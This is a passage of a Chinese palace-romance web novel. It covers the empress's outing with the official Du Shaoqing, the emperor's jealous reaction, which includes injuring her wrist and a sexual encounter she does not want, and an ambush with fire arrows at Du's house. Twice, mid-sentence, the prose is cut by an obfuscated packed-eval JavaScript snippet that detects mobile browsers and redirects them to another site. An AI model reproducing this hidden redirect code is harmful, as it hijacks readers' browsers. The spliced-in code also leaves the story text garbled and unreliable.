他们到了宁寿宫花园外的东筒子里,黄瓦红墙下开涵洞上设数十道挑头沟嘴,刚逢乌云压过突然下起了雨。 杜大人指着墙上的沟嘴问:“娘娘可知这是干什么用的?” 苏娘子抿嘴笑,“杜大人考我啊?这又不是我弄的东西我怎么知道,不过….” 但她向来又是个不服输的,琢磨了一会儿颇为自信道:“我猜是用来接墙瓦上的雨水,避免雨水渗透墙内损坏墙体。” “那紫禁城怎么只单独这宁寿宫的东筒子外设了那么多的挑头沟嘴?” “啊?” 雨势渐大了,噼里啪啦的大在纸伞上,杜大人的声音淹没在雨声里。苏娘子没听见,他又扯着嗓子问了一遍,扯着纸伞靠过来撑在小梅的的伞上。 “臣问娘娘,为何只单独这宁寿宫的东筒子外设了挑头沟嘴。照娘娘的话怕雨水坏墙,那别处的墙岂不是早就坏了?” “啊这….杜大人这是故意在我面前卖弄吗?你明知我不晓得的…..” 苏娘子笑道,小梅瞧着两人不好说话,下意识就撤了伞往外靠了些,苏娘子不知道什么时候就钻到了杜大人的伞下。 雨势渐大,沟嘴吐水,如大珠小珠落玉盘,在宁寿宫外形成一道漂亮的水帘。水气飞溅出来,杜大人引着苏娘子靠边站。小梅发现自己再也不好回苏娘子身边了,想说话又不知道该说些什么,只好提心吊胆的四处观察宫道上有无宫女太监往来。 “…..这挑头沟嘴的奥秘,娘娘进永寿宫自己去看看就知道了。” 永寿宫原住着先帝最后一位太妃陈氏,自四年前去世后,宁寿宫就空闲了。两人进了宫门走到宁寿宫花园,顺着杜大人的指引花园内紧挨着墙体,建造在假山之上有一座小书斋唤做竹香馆。 “娘娘您瞧,适才墙上的挑头沟嘴引的便是竹香馆屋檐的积水,以防檐上的积水渗透宫墙。” “那我还是猜对了一半是不是?” “娘娘聪慧。” 苏娘子小小得意,杜大人也不吝啬夸赞,两个人之间的氛围出奇的融洽,说说笑笑,冲散了早春的凉意。只有小梅撑着伞跟在他们身后,感觉的背脊凉嗖嗖的。很想很想把苏娘子拉回来,不要去看什么千龙吐水了。 她也发现自冬日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755052|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那回吃过杜大人的玫瑰花饼,丢了他一回雪球,苏娘子好像在杜大人面前也不摆什么皇后架子。两个人相处的像朋友一般自然,但有时候好像又不只朋友那么简单。尤其苏娘子有时候会打盹,趴在桌上睡着了弄得满脸墨迹。杜大人不但不回避,还不告诉她,叫苏娘子顶着个大花脸回宫。 现在只她恍神的一会儿功夫,他们就撑着一把伞爬到了假山上的竹香馆去了。馆内亮着烛火,隐隐还有太监在走动。 小梅赶紧提裙追上前,杜大人在屋檐下收伞,苏娘子已经进馆内里,里面洒扫的太监赶紧行礼参拜。 “参见皇后娘娘。” 宁寿宫早就没人住了,但宫内一切陈设如常,院内脸枯枝落叶都没有,打扫的很干净,没有人气很凄凉。但是竹香馆不一样,花草绿意盎然,熏着淡淡的鹅梨帐中香,茶具莹润不像多年未用的干涩。馆内不大,东角放置着未完成的绣品蝶恋花,南侧放置拔步床,一旁的梨花镜前胭脂都还是水润的,像是一直有一个姑娘在此住着一样。 “…..这里住着有人吗?” 苏娘子不曾听说,紫禁城内除了她和宫女,还有什么别的女眷住了,何况这也是不合礼数的。 “回娘娘,没有。从前宁寿宫是陈太妃的寝宫,老太妃的侄女来宫中伴过驾,在竹香馆住过一段时间。” “那这里怎么…..” 苏娘子的喉间突然堵住,像是突然犯了心疾一样急促的喘息起来。她只记得除了先帝太妃,只有一个外廷女子进过宫来就是死去的肖小姐。 她出宫很多年了,甚至早就出阁嫁人了。宁寿宫、竹香馆没人居住,太监不会每日来清扫的,除非有人特意吩咐了。竹香馆干净整洁依旧还维持那个姑娘曾经居住过的模样,里面甚至还有人气,像是她依旧还住在这里,今日恰巧只是出去,也许在哪一道宫门下转角就可以遇见她。 苏娘子瞬间慌张了起来,像是突然闯进了禁地一样退了出来撞到身后的杜大人。 “啊!” “娘娘怎么了?”杜大人伸手扶住她的胳膊站稳,面色担忧,“娘娘不必害怕,肖阁老的千金小姐确实在这里住过一段时日,不过她早就出宫去了,太监只是例行清扫罢。” 苏娘子像是突然受了凉一样,止不住在杜少卿手上颤抖起来。她不想让别人看见自己这般脆弱的模样,可声音还是无可避免的哽咽,带着脆弱的哭腔。 “杜….杜大人知道她和皇上的事吗?” “知道,可这是皇上的私事,下官无权置喙多嘴。” “没….没事,杜大人放开我,我们走吧。只是一个排水的沟嘴,也….也无甚可看的。” 苏娘子挣开杜少卿夺门而出,小梅看见她慌乱的身影小跑上假山,撑伞偏过苏娘子的头顶。 “…..娘子你怎么了?” 但比她更快的是杜少卿的伞和他挺拔的身姿一下全占满了苏娘子的身侧,“娘娘慢些,小心雨天地滑。” 苏娘子抬头望着撑过头顶的伞,目光缓缓落到那张剑眉星目的脸上,他美髯甚至被水汽吹起暧昧的拂到她的脸上。她只能慌乱的整理思绪掩盖慌张,“多谢杜大人,让您见笑了,我们出去吧。” “嗯,娘娘慢些。” 两人共撑一把伞踏出宁寿宫,东筒子外潇潇雨幕里站着皇帝和他的随行太监。 “娘娘,是皇上。” 杜少卿轻声道,将伞交给了苏娘子,侧身跨出伞外站在雨中整理官袍,下跪向皇帝叩首。 “臣,杜少卿参见皇上,吾皇万岁万万岁。” 小梅后一步跨出宁寿宫看见皇帝的身影,瞬间如坠冰窖全身血液都凉透了。苏娘子没有行礼也没有说话,僵硬着身子走到杜少卿面前,手中的纸伞撑过他的头顶,遮住了冰凉的冷雨。 她在等,等皇帝大发雷霆,等她的噩梦应验。 “…..念….念念,朕来接你回宫用午膳了。” 皇帝走入雨中如同没看见杜少卿一样,大福赶紧撑伞跟上前又被狠狠骂了回去,“退下!” “万….万岁爷,仔细着凉。” 皇帝没理会他,莽撞的冲到苏娘子面前,抓起她的手用力的握在掌心。 “走,我们回去用午膳好不好。朕等你好久了,朕饿了。” 苏娘子几乎是被拖着走,手指被抓得很痛很痛,掉下了眼泪来,纸伞左摇右晃的打着皇帝的脸,冰凉的雨水顺着脖子流入衣服里,寒意渗人。 “…..岳凌,我想去看千龙吐水。” “什么?” 皇帝抢过苏娘子手中的伞,黑色的瞳眸中思绪万千,愤怒、害怕、慌乱、难过….像是一张密不透风的网向他笼罩过来。 “什么是千龙吐水,我们先回去吃饭,朕让人给你弄到乾清宫来看好不好?” 他几乎是恳求的语气,拖着苏娘子的力气又是那般的蛮横,把杜少卿、小梅甚至是大福远远的甩在身后。 “…..不用了,我不想看了。” 苏娘子踉跄着身子跟在皇帝身后跑,难过的发现原来除了小时候那份盲目着迷的欢喜,他们之间什么都没有,甚至横着一个成谜死去了的女人。 他不知道他的力气很大,弄疼了她,手腕的骨头像是要碎了一样。也不知道她跟不上他的步子,狼狈的摔到地下挫伤了手掌,他才慌乱的蹲下身扶她。 “….念念,朕不是故意,摔伤了没有,疼不疼?” 疼,很疼,苏娘子听见了自己骨头断裂的声音,手掌软绵绵抓在皇帝的手里 35. 第 35 章 紫禁城下了入春以来的最大一场春雨,从皇帝带走苏娘子后,大雨一直下到入夜未尽,浸透了杜少卿的衣衫,漫过贴着冰凉坚硬的地砖,冷雨无情的冲刷着那张略有肖似皇帝的脸,直到失去意识倒在瓢泼大雨中。 太监跑到乾清宫禀告皇帝,杜少卿晕倒在永寿宫的东筒子外了。皇帝紧张的看着苏娘子,有些后悔故意晾着杜少卿了。她听到杜少卿晕倒的消息,脸色明显担忧起来了,却还强壮着冷静,看着太医李廷致给自己包扎手腕。 “娘娘这些日子注意不要用右手,尤其不要提重物,最好是连笔也不要动。用膳的话,可让宫女伺候,精心修养三个月方可。” “嗯,有劳李太医。” “那皇上、皇后娘娘微臣告退了。” 李廷致向皇帝和苏娘子拜别,皇帝摆了摆手,心虚的看着苏娘子,后者突然喊住他。 “李太医请去看看杜大人。” 李廷致看向皇帝似乎在征求他的意见,毕竟今日宫廷内外盛传杜少卿惹恼了皇帝,被罚跪在永寿宫外。没有皇帝的旨意谁也不敢让他起来,即便是晕倒了太监也只是来通禀,并没有把人抬到太医院去。 “去….去吧,大福带几个人把杜大人送回府去。” 皇帝喊了大福跟着李廷致一起去永寿宫,乾清宫一下清静了,空气中凝结着渗人的冰霜。 安心姑姑、宫女都躲了起来,只有小梅一个人傻乎乎的杵在殿内。她好像知道要发生什么,忠诚的守着苏娘子寸步不离。可这次似乎是她们不对在先,她没有办法像往常那般理直气壮的面对皇帝,或是胆大包天的赶他走。 “小梅下去歇着吧,朕今夜留宿乾清宫照顾皇后。” 皇帝突然道,小梅紧张的看向苏娘子,想提醒她今日不是皇帝留宿乾清宫的日子。 “小梅下去吧,我没事。” 苏娘子温柔的笑着起来,投过去安慰的眼神。 “可是娘子…..” 小梅还想说话,皇帝逐渐失去耐心,暴躁叱道:“…..还不快滚!” 她只好担忧的滚了,寝殿终于安静了。苏娘子平静闭上眼睛,等着皇帝狠狠煽自己一巴掌或是质问她和杜少卿的事,修书修书怎么修到同一把伞下去了。 可是什么都没有,他只是站在她面前佯装平静的看着自己,急促的呼吸却掩饰不住失控的情绪。苏娘子不知道那到底是怎样的情绪,睁开眼撞入皇帝湿润的眸子,他的脸放大到她的眼前。冰凉的双唇紧贴着她的唇边,闭上眼掩盖眸中的情绪,轻轻吮吸她的唇瓣。 从前她很喜欢很喜欢他的,表面上装作冷漠无情的模样,却会为他无赖没皮没脸的靠近来的亲昵而欢喜。可现在不会了,她望着眼前眉眼,脑子里全是杜少卿的模样,和皇帝的脸重合在一起。 她有些厌恶他的亲近了,却又不停的告诉自己。他们是夫妻,做什么都是应该的。 想着眼泪不自觉就掉了,滑落脸颊被皇帝吮干在自己的唇瓣上。 “…..念….念念,你亲亲朕好吗?” 皇帝放开苏娘子抵着她的额头,满目的悲伤。她看见了,却别开脸了。 “….我累了,皇上。” 她叫他皇上,像是朝堂上的大臣一样,恭敬而疏离。 “好,朕伺候你换衣服。” 皇帝弯腰打横抱起苏娘子进到寝殿放在拔步床边,找来她的寝衣放在锦被上。伸手解开她挂在脖子上系带,小心翼翼的放下打着夹板的右手。一件一件的脱掉她身上繁复的宫装,□□的站在宫灯下。 宫墙隔绝了瓢泼的大雨,没有风,还燃着温暖的炭火。她却发起抖来,可没有像以前只是皇帝偷看一眼就要骂得他狗血淋头,像尊莹润的玉瓷一样却是只死物。 “那我们歇息了好不好。” 皇帝抓起锦被上的衣服扔在地上,掀开被子抱起苏娘子放在床上,遂即脱掉衣服覆上身压着她,伸手拉过床后的被子盖住两个人赤裸的上身。 苏娘子望着帐上感觉自己好像变成了那枝缠枝莲纹,紧紧的攀住了皇帝的腰身,害怕的用左手抓住身下的被子,痛苦的闭上眼睛。 过了很久,皇帝终于在她身上泄气了,埋在她的颈间哭泣。 “你为什么不打朕,骂朕了…..” 苏娘子一下松开了揪住被单的左手,像是溺水的人一样胸口终于呼进了新鲜的空气。 “皇上,你好重啊…..” 她痴痴道,望着头顶的缠枝莲纹失魂落魄。皇帝翻身滚到床后,枕着胳膊看她无助的落泪,脆弱的哭泣。因为伤了右手,她没有办法翻过身去用冰冷的背影面对他,像犯错的孩子一样哭得抽噎起来,脸上又像无数次哭泣一样红起来如同醉了木芙蓉。 皇帝没有安慰她,只是看着她,听着哭声,伸手揉碎她眼尾的泪。 “朕不喜欢你叫朕皇上…..” —— 次日,苏娘子醒来眼睛肿的跟核桃一样看不见了,修书暂停了一日。后来大福来告诉她杜大人生病了,这段日子都进不了宫帮她修书了。修书这样又停了三个月,到苏娘子右手都能动了,杜少卿再也没进宫来。 她知道不会再有人进宫帮她修书了,去雨花阁收起了那些整理抄录的抄本锁进木箱里。回到乾清宫的时候,大福又来告诉苏娘子皇帝又给她选了新的编修官。 第二日领着人来雨花阁的时候,苏娘子看见庭院外的身子,啪的一把关上门紧张的脸色都变了。 “娘子你怎么了?” 小梅看见新编修官已经到门外了,只是吃了闭门羹有些无措,尴尬局促的站着。 “是石宽!” “啊,怎么会是他?” 小梅惊讶的合不拢嘴,杜少卿的事闹的后宫不得安宁,皇帝和她家娘子冷战好几个月了。怎么还嫌不够乱,又弄了她家娘子的前未婚夫婿进宫来。 她真要怀疑皇帝是不是故意的了,以前明明是杜少卿先靠近她家苏娘子的!他若是真的不放心干嘛弄那么一个青年才俊天天呆在宫里,若是放心又在乱发什么脾气! “娘子不是奴婢乱说,这….这有些怪啊。” 苏娘子感觉自己昏昏沉沉好几个月,今日倒是一下清醒了,脑中思绪飞快旋转。半刻钟后神色恢复如常,打开了门。 大福:“娘娘,这是新来的修编官,去岁恩科进士石宽石大人,现任翰林院编修。” 石宽遂即拱手行礼,“下官参见皇后娘娘,臣奉皇上之命前来辅助娘娘修书。” “原来是你,石公子好久不见,想不到你一别再见你都考上科举了,恭喜。” “多谢皇后娘娘,不知臣可为娘娘做些什么?” “整理些古籍抄录,不知石公子可懂治河。我先前已与杜大人整理了些,公子可先看看。” 苏娘子进屋石宽跟在身后,大福先行告退了。雨花阁又只剩下了苏娘子、石宽和小梅三人。搬出先前整理出来的手稿,石宽看了看有些不好意思道: “下官愚钝,对治河还尚未有研究。不过胜在笔墨不错,也还有些力气,娘娘还有哪些没抄录完可吩咐臣。” 苏娘子惊讶,“石公子不懂治河?” “让娘娘见笑了,臣确实不懂,礼部只说是来帮娘娘做些抄录的差事,并未告诉是编写治河图略。不如这样下官去同礼部再确认一遍,看可是再派个精通治河的人来。” “不用了,是礼部派公子来的,不是皇上亲自指定你来的吗?” “是皇上下旨让礼部去翰林院挑选的人,不知怎么就选中臣了。说实话翰林院才学胜过下官者,比比皆是。” “原来如此,那劳烦公子帮我把这些孤本抄录下来。晚间出宫时候带出宫去,帮我还给杜大人。我是宫围女子,不便出宫。” “好。” 石宽接过苏娘子递过来灰扑扑的孤本,在从前杜少卿的书桌上坐下,研磨铺纸。 这次少了和她讨论心得批注的人,只是埋头苦抄,一日就把剩下的孤本抄录完了。晚间出宫时,石宽一并带出宫送回了杜府。 苏娘子用过晚膳后,躺在摇椅里乘凉,宫外突然传来了三福的声音。 “皇上驾到!” 乾清宫里里外外跪作一片,苏娘子还是窝在椅子里,转过身用后脑勺对着皇帝。 “新来的编修官是石宽,听说你与他定过亲?” 苏娘子装聋,皇帝转到她面前,又问了一遍。 “你和石宽定过亲?” “是又怎么样!”苏娘子瞪他,狠狠拍开皇帝抓住自己肩膀的爪子,“你别碰我,放开!” “不怎么样!”皇帝非但没对她的冷脸生气,趁带风的巴掌挥过来前在苏娘子脸上偷亲了一下,连滚带爬的跑了。 “混蛋!” 苏娘子狠狠的搓脸,像是挨到了什么肮脏的东西一样,恨不得把脸上搓掉一层皮。皇帝听见她的骂声,颠颠的又跑回来,躲在宫门外偷看。 三福跟着不知道他都挨骂了还偷乐什么,“万岁爷您怎么了?皇后娘娘的前未婚夫婿都进宫,您还不着急要和皇后娘娘冷战到什么时候?” “哼,朕自有朕高兴的事。你一会儿让四福去打听打听是谁给皇后挑的编修官, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757319|186970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有三个月前皇后和杜少卿去宁寿宫干什么了。” 天黑后,四福去宁寿宫转悠。宫里经过一个春夏,古木野草疯长,淹没了三个月前零落的幽径。竹香馆里也落了灰,很久很久都不曾有人去打扫过,妆台上的胭脂都干裂了。里面什么线索都没有,四福失望而归。 皇帝又命礼部再给皇后选编修官了,这次选了好几轮名单报上来都被驳回,命回去再选。次期间石宽依旧进宫来帮苏娘子抄书,每次还带着重重的一笼书。说是杜大人特意给她挑选的,可慢慢看不着急还给他。待到杜少卿的书堆满了雨花阁,苏娘子终于察觉到了不对劲。 “石公子,杜大人怎么了,怎么突然让你把书都搬进我的宫里来了?” 石宽尴尬的笑,“杜大人说娘娘是爱书的人,放在您这里他可放心。” “不对,这里面一定有事对不对?” 苏娘子不相信,无缘无故这般,怎如托孤一般。 石宽佯装镇定的沉默了一会儿,沉声道:“娘娘,杜大人恐怕不行了。自上次在宁寿宫外昏倒后就患了恶疾,一直未愈。如今将奴仆都遣散了,只怕是熬不过这两日了。” “什么?他看过大夫了没有,他身子骨一直很好,怎么一场雨就垮了?” “病来如山倒,世事无常,娘娘可是想去看杜大人一眼?” 这样的话有些耳熟,苏娘子不记得在哪里听过了。 “好,我想办法出宫去,请石公子在苏府外等我。” 这天石宽早早的就出宫里,苏娘子说想办法也几乎没想,天黑前借口出宫探望母亲驾着车就出宫了。临到了掖门下,又突然叫停驾车的太监,把小梅赶下了车。 “小梅,去告诉皇上说我跑出宫去看杜大人了。” “啊,奴婢不要,奴婢要和娘子一起,您去哪儿奴婢就哪儿。” 小梅不明白,哪有会情郎还告诉皇帝的,不是等着他去捉奸吗?她还想爬上车,苏娘子推了她一把,连忙让太监驾车跑了。还从车窗里探出头来,对她大喊: “快去,告诉皇上我去杜府了!” 小梅还是不懂,可是苏娘子已经出宫了,她只是一个小婢女不跟着她是难以出宫的。 苏府外,石宽早早就在候着了。苏娘子与他会合,偷偷叫上三郎一起跑去了杜府。 如同石宽所说杜少卿已经将家仆都遣散了,诺大的庭院一个人都没有,野草漫过了膝盖如同到了荒野一般。 “三哥,你四处去查看一番。” 苏娘子挨着三郎,袖子下的手轻轻点了他的手背三下,紧盯着石宽。这是他们兄妹见的暗号,小时候做了什么坏事需要在爹娘面前打掩护,他们都会彼此点三下对方的手背。 三郎会意,寻了一个方向就走开了,“那妹妹你小心点,别乱走,有事就叫三哥。” “嗯”苏娘子转而问石宽,“石公子,杜大人在哪?” “在书阁上,娘娘这边请。” 石宽引路,带着苏娘子穿过垂花门,绕过一道游廊停在一座临水榭上。杜少卿就在二楼,苏娘子站在楼下能清楚的听见他的咳嗽声。 扶梯上楼,推开那道紧闭的门扇,血气药味扑面而来。往日那个意气风发的玉面郎君,竟白了须发,披着发黄的长袍倚在床上形容憔悴。听见推门声抬头来看见苏娘子,又惊又喜,晦暗的眸子里突然就生出了光。 “皇…..皇后娘娘?”下一刻他突然激动起来,抓起床边的药碗发疯的向苏娘子砸过去,“娘娘为何要来?你给我出去,谁带你来的?出去,滚,这不是你该来的地方!” “杜大人,你怎么了?”苏娘子躲过他的攻击,捡起脚边的破碗还是走到了床边,“是谁派你入宫到我身边来的?” “没有人,只是我自己要去的!娘娘不该出宫来的,走,快走!” 杜少卿挣扎着起来赶人,楼下传来了苏三郎着急的声音,“妹妹,石宽那小子跑了!弄不好这里面有诈,快下来!” 杜少卿脸色大变,对待苏娘子态度更加凶恶,推着她赶出门外。正要关门,黑夜里突然飞来一只火箭。 “娘娘小心!” 千钧一发之际杜少卿抓住苏娘子的胳膊,将人拽进怀里,侧身用背挡住了火箭。瞬间无数的火箭跟着射出来,有的射中杜少卿,有的射破阁楼上的酒坛,流出大量的火油点燃阁楼,窜出万丈火苗。 “妹妹!” “念念!” 三郎和皇帝声音同时响起,只看见大火里一道紧紧抱在一起的身影跌进深不见底的水池里,溅起巨浪般的水花引下火苗,点燃了整个池塘。 36. 第 36 章 苏娘子出宫后,小梅犹豫了半响才跑到养心殿告诉皇帝她家娘子去杜府看杜大人去了。皇帝听见脸就黑了,烦躁的丢开手中的朱批笔。 “你说什么,再说一遍?” 小梅平日里是个胆大的,并不怕皇帝。但做了亏心是,理亏的紧,连看皇帝勇气都没有。 “…..我….我家娘子去杜府看杜大人去了。” 皇帝噌的站起来,暴躁的走出养心殿大喊:“三福,叫四福备车出宫!” “万岁爷去哪?”三福从侧殿跑出来,着急忙慌的擦嘴揩油,“怎么突然要出宫了?” “去捉奸!” “啊?”三福心肝尖尖发颤,“捉….捉谁的奸?” “皇后!你怎么那么多废话,叫你去就快去!” 皇帝不耐烦的踢了三福一脚,根本等不急他去找四福,一个人就往上驷院去了。小梅忧心忡忡的站在养心殿外,感觉这回可能要死了。皇后红杏出墙,皇帝亲自去捉奸了。 但没一会儿宫道上又出现皇帝的身影了,冲到她面前凶巴巴的问:“你怎么不去?” “啊?” “朕问你,你家娘子去会奸夫了,你怎么不去。你平日不是总跟在她屁股后面寸步不离吗?今天怎么不去,还来和朕告你家娘子状,怎么你想邀功?” “我….我才没有,是我家娘子把我赶下车了,要我来告诉你说她去看杜大人了。” 皇帝眸子一沉扫视着小梅,看样子不像是说谎。 “会骑马吗?” 小梅不明皇帝想干嘛,“…..会….会,以前大公子教过。” “那就跟朕来,你家娘子出去多久了,带了多少人去的?” “一个时辰前,就一个驾车的小太监。新来的编修官石大人说杜大人突患恶疾快要不行了,我家娘子就跑出宫去了。” “那你怎么现在才来告诉朕,你家娘子是不是早就让你来了!” “是….可是….” 小梅无言以对,皇帝现下脸色也从愤怒变成了着急担忧。转身撩袍,袍角往腰带一扎往上驷狂奔而去,小梅也只好抱着裙子狂追。但皇帝很快就没影了,等再看见他的时候,人已经从上驷院里弄了两匹马出来。骑着一匹,另一匹的缰绳扔到她手上。 “上马,去救你家娘子!” “啊…..”小懵一脸懵,但看皇帝脸色不好,赶紧上了马。 她马术没有皇帝好,不怎么能追上他,但好在总能抓着他的残影一直跟着。等她跑到景运门,里面已经集结了数百禁卫军。 皇帝率领禁卫军遂即开拔,出午门奔向长营街帽子胡同。街面上兵荒马乱,火光冲天,似又重新回到去岁传闻苏明伯叛乱的时候,百姓听见动静纷纷都出门来围观了。 只见禁卫军都往杜府那边去了,刚进帽子胡同的时候,黑暗的胡同里突然冲出来一个黑影,撞在皇帝马前。 “皇….皇上,杜府里有埋伏,速速去救皇后娘娘!” 来人中背后身中数箭倒在地上,小梅认出了那身绿色的官袍,“是石大人,就是他把我家娘子引出宫来的!” 皇帝招手命禁卫军上前抬走石宽,“所有人听着,包围杜府,封锁所有出口,硬闯者格杀勿论!” “是,众将士听令,分兵包围杜府!” 禁卫军首领随即分散士兵,团团围住杜府。皇帝率领长丰及数十名禁卫军撞开杜府大门,后宅突然响起苏三郎的惊呼声。寻声赶过去刚踏进藏书阁小院,阁楼上就突然蹿起数十丈高的火苗。 “妹妹!” “念念!” 燃着熊熊大火的阁楼上掉下两道黑影,砸进楼下池塘里捡起数丈水花。楼上的堆满了火油,伏击杀手射破酒缸,火油四溢引燃阁楼,流进水池也瞬间在水面上燃起大火。 “….念念!” 皇帝的心一下都死了,撕心裂肺的哭喊,不顾拦阻冲到水榭跳水。三郎一把拽住皇帝胳膊拖,怒道: “你干什么,今夜的事明显针对的不是你就是我妹妹!你上来,你是一国之君出了事没人担待的起!我的妹妹,我自己去救!” “她是朕的皇后,朕的妻子,朕才是那个最应该去救她的人!三哥,念念若有事,朕也不要活了!” “混蛋,你动不动就不要活了,我娘就是把我妹妹交到你手中来守寡的吗?你给我回来,不许下水!” 他们两个人在池塘边上拉扯,水面上燃着熊熊大火,禁卫军盯着火光束手无策。小梅见状跑上前,站在两人身后皱眉。 “我……我家娘子会水,她还没死呢。你们不应该想办法先灭活吗?里面鱼都翻肚皮了……” “什么?” 皇帝和三郎异口同声道,互揪着对方惊讶的回头。果然池塘里已经开始浮起翻肚皮的鱼了,原本一池塘娇艳的荷花烧顷刻间烧的只剩下焦枝。池面上弥漫着浓厚腥臭的火油味、鱼腥味,水汽浓烟弥漫开来笼罩着整个杜府。 小梅:“救火啊!” 可是怎么救,用水火势只会越燃越大,用沙土难道要把池塘填了?沙土一旦入水,浑浊不堪里面的人只会更难活! “用树枝拂开水面上的火油!我家娘子说过这东西很轻的,遇水会燃,只会浮在水面上!” 小梅借了把禁卫军的刀跑到墙角砍芭蕉叶,长丰自发上前帮忙砍蕉叶。皇帝冷静下来赶紧命令禁卫军帮忙,砍来几大捆各样的松枝竹叶,拂开水面的火油,分散火势。苏三郎带人跑到府外向附近百姓借来数百只水瓢、葫芦,用长竹杆绑住,伸进池塘舀出水面上的火油倒在岸用沙土扑灭。 众人齐心协力,很快就在水面清理了出两到三人的空隙。皇帝随即跳下水,三郎想拦伸手却扑了空。 “岳凌!快……赶紧清理浮油,会水的人跟我一起下去救驾!” 池水被烧得发热了,像是温泉一样。空气稀薄,水中的鲤鱼全都翻白肚浮了上来。水下更是昏暗,火苗向下烧进了水面一指深。烟尘在水中溢散,与水深处飘上来的血丝交融。 皇帝闻到血腥味,奋力向下潜,三郎紧跟而下身后带着十几名禁卫军。 杜家书阁下的池塘不大,顿时水下人影多的如过江锦鲤,借着水面上的火光,放眼望去到处都是游动的人。包括皇帝在所有人都看见杜少卿抱着苏娘子沉在水中了,他中了箭伤口血流如注满满染红了周围的水,如同一张柔软的轻纱一样包裹着他和苏娘子。 皇帝潜过去才发现他们不只是抱在一起是杜少卿吻住了他的皇后,他瞬间懵了,感觉浑浊的池水灌进了脑子、胸口里剧烈的疼起来,喘不过气。 他感觉到自己是愤怒的,身子却动不了上前去分开他们,或是狠狠的踹杜少卿脚把他踹到池底淤泥里面去。少时,突然杜少卿睁开眼看到他了,一把推开苏娘子迅速向水中坠去。 杜大人! 苏娘子大喊,却喊不出声音吐出一连串水泡。追着坠落的身影向下潜,堪堪抓住杜少卿的手腕之际,一道更有力的胳膊圈住了她的腰身。 她回头看到皇帝,又看了眼双眸紧闭的杜少卿,想也没想抓住他的手,借着腰上的力气拖了他回来。三郎和水中的禁卫军随即潜过去帮忙,架着杜少卿一起浮出水面。 池塘的火油清理的差不多了,火已经灭掉,水面上只飘着星星点点的火苗,全然没有刚才吞天灭地的烈焰,像是载满祝福的河灯,亮着温柔的光。 “娘子!” 皇帝抱着苏娘子上岸,小梅随即脱下自己的衣服盖在她身上,担心的直掉眼泪。皇帝已经不像适才那般慌张了把苏娘子放在地上,冷静的检查她可否是受伤。好在都是全须全尾的,也没有一点皮外伤,只头发有些烧焦了,衣裙都燎焦了。 皇帝:“其他地方呢,疼不疼,身上还有哪里受伤了没有?” “没有,我没受伤,别管我!快送杜大人去医馆,他中箭了还有患有重疾,去晚了会出人命的!”苏娘子很担心杜少卿推开了皇帝,爬到他身边不停的拍的他的脸担忧不已。“杜大人,杜大人您坚持一下,没事了!皇上来救我们了,我们马上去医馆拔箭,您不会死的!” 杜少卿本已没了任何的求生欲望,像只濒临死亡的刺猬一样等待着绝息,可听见了她的声音又突然虚弱的睁开了眼。 “…娘娘为何要救我……我本就是该死之人了。” 话虽如此,可此时此刻他又知道自己一定死不了了。目光看向了皇帝阴暗的脸,心下苦笑。 他该死的,死在水底,烂成泥连同着他觊觎皇帝女人的心。 他本是刺杀她的刺客,亦是杀死她的刀。可是后来刀锋染上她的温柔,他便不再想沾染她的血了。 “娘娘,让臣死了吧,对不起。” “不会的,杜大人您不会死的!您还放了好多书在我的宫里,您要好起来把它们拿回去啊!皇上,快派人送他去医馆!” 苏娘子不停的安慰杜少卿,皇帝突然冲上前一把拽住她,拖开离杜少卿好几丈远像他是什么可怕的怪物一样。 “苏念辞够了!朕会派人救他的,你就那么担心他,豁得出去命去救他!明知道有埋伏你还不要命的往一个男人的书阁里钻,起火的时候你又在干什么,为什么不下楼来!他日朕也身处险境,你也会这样豁出命去救朕吗?你是朕的皇后,朕的女人,不是什么未出阁情窦初开的小姐!与其担心他,你担心担心你自己吧!” “你说话那么大声音干嘛!”苏娘子被吼的脑子嗡嗡的响,顿时火冒三丈推开皇帝,扯开嗓子吼回去比他的声音还要大,“我也是第一次,我也很害怕,你吼我干嘛呜……我爹娘哥哥都没有那么大声吼过我!我是很担心杜大人,害怕他死了!可是我也很害怕自己什么也不是就看 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他安慰自己她都知道向自己求救了,没有莽莽撞撞的跑来杜府已经很聪明很聪明了。刚才在水里还那么禁卫军看见杜少卿亲她,她一定很慌张的。事情已经乱做一团了,为什么还要当着那么多人的面同她争吵,又要加别人议论帝后不和拿来做文章吗? “念念,朕派人送杜少卿去医馆救他,我们回宫好不好?有什么事,我们回宫说,朕没有怪你,是朕不该骂你,凶你。” “呜…..” 苏娘子听了皇帝的话反而哭的更大声,抱住他的腰身躲在他的怀里,像是犯了错的孩子嚎啕大哭怎么劝也劝不住。 “好了,不哭了,我们回宫。让太医来看看身上没有别的伤,有没有吓坏了。” 皇帝打横抱起苏娘子离开,杜府外禁卫军首领押了数十名黑衣人上前来,里面有一张久违了的脸。 “章钦?你不是被朕勾决斩首了?” 地下的人咿咿啊啊的挣扎着几欲扑上前,被禁卫军狠狠按住脑袋趴在地上不得动弹。 “回皇上,他被断舌了是个哑巴。” “手没断吧,押下去审出幕后主使!” “是!” 禁卫军押走章钦及捕获的数十名杀手,皇帝抱着苏娘子登上车驾,一路浩浩荡荡簇拥着数百名禁卫军回宫。 